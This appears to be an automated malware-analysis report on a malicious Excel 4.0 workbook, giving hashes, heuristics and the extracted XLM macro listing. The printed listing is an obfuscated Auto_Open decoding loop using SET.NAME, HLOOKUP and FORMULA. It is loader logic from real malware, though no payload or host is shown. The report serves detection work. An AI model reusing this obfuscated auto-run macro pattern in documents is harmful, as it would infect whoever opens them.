Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7f858ae00b43701…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:43:30 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 5e3cee89785b84d9d455122266c0c89a SHA-1: 19d85c277f0df259438781e9fd3dae2db38301ed SHA-256: e7f858ae00b4370114a47712c10c8356993ddde651262eb4e3e4226037d46351
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6407 bytes
SHA-256: a8f2a863b85401e225d686abb4d65f1217efcbfac783ab06c103ed788af83342
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Kyaf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H148 
' 0018     27 LABEL : Cell Value, String Constant - BfLYnWUfALee len=0 
' 0018     22 LABEL : Cell Value, String Constant - CfrMWLp len=0 
' 0018     26 LABEL : Cell Value, String Constant - CoxjbZNRIEB len=0 
' 0018     21 LABEL : Cell Value, String Constant - dZzBZd len=0 
' 0018     27 LABEL : Cell Value, String Constant - EOYIhEkgOmFg len=0 
' 0018     27 LABEL : Cell Value, String Constant - gFBBdtUhfUbz len=0 
' 0018     21 LABEL : Cell Value, String Constant - KrOzXJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - KTpZxX len=0 
' 0018     21 LABEL : Cell Value, String Constant - oOTcAY len=0 
' 0018     26 LABEL : Cell Value, String Constant - qMWzpyuJUKN len=0 
' 0018     20 LABEL : Cell Value, String Constant - rKxiv len=0 
' 0018     22 LABEL : Cell Value, String Constant - sVpUiuc len=0 
' 0018     23 LABEL : Cell Value, String Constant - VgAREUPQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vhuVIkzB len=0 
' 0018     22 LABEL : Cell Value, String Constant - wfdtodt len=0 
' 0018     24 LABEL : Cell Value, String Constant - xgPKjxdgc len=0 
' 0018     22 LABEL : Cell Value, String Constant - yaXziKE len=0 
' 0018     27 LABEL : Cell Value, String Constant - yfapcqXzBeIw len=0 
' 0018     20 LABEL : Cell Value, String Constant - Zetrf len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZXLmWPnzIkE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Kyaf,H58,"SET.NAME("VgAREUPQ",VALUE("0"))",""
'  Kyaf,H62,"SET.NAME("EOYIhEkgOmFg",VgAREUPQ)",""
'  Kyaf,H64,"SET.NAME("yaXziKE",VgAREUPQ)",""
'  Kyaf,H66,"SET.NAME("oOTcAY",COUNTA(ZXLmWPnzIkE))",""
'  Kyaf,H69,"SET.NAME("rKxiv",COUNTA(gFBBdtUhfUbz))",""
'  Kyaf,H73,[],""
'  Kyaf,H77,"SET.NAME("Zetrf","")",""
'  Kyaf,H80,"EOYIhEkgOmFg",""
'  Kyaf,H84,"SET.NAME("sVpUiuc",HLOOKUP("*",ZXLmWPnzIkE,EOYIhEkgOmFg,FALSE))",""
'  Kyaf,H88,"KrOzXJ",""
'  Kyaf,H91,"SET.NAME("CfrMWLp",VgAREUPQ)",""
'  Kyaf,H95,[],""
'  Kyaf,H98,"CfrMWLp",""
'  Kyaf,H100,"BfLYnWUfALee",""
'  Kyaf,H104,"wfdtodt",""
'  Kyaf,H108,"qMWzpyuJUKN",""
'  Kyaf,H113,"SET.NAME("xgPKjxdgc",VALUE(HLOOKUP("*",gFBBdtUhfUbz,qMWzpyuJUKN,FALSE)))",""
'  Kyaf,H118,"CoxjbZNRIEB",""
'  Kyaf,H121,"Zetrf",""
'  Kyaf,H123,"yaXziKE",""
'  Kyaf,H125,NEXT(),""
'  Kyaf,H129,"KTpZxX",""
'  Kyaf,H134,"SET.NAME("f",INT(T(FORMULA(T(Zetrf)&"",""&T(KTpZxX)))))",""
'  Kyaf,H136,"yfapcqXzBeIw",""
'  Kyaf,H139,NEXT(),""
'  Kyaf,H143,RETURN(),""
'  Kyaf,H170,"SET.NAME("dZzBZd",H58)",""
'  Kyaf,H172,"ZXLmWPnzIkE",""
'  Kyaf,H174,"SET.NAME("gFBBdtUhfUbz",R99C13)",""
'  Kyaf,H176,"SET.NAME("yfapcqXzBeIw",185)",""
'  Kyaf,H181,"SET.NAME("vhuVIkzB",8)",""
'  Kyaf,H184,dZzBZd(),""
'  Kyaf,H185,HALT(),""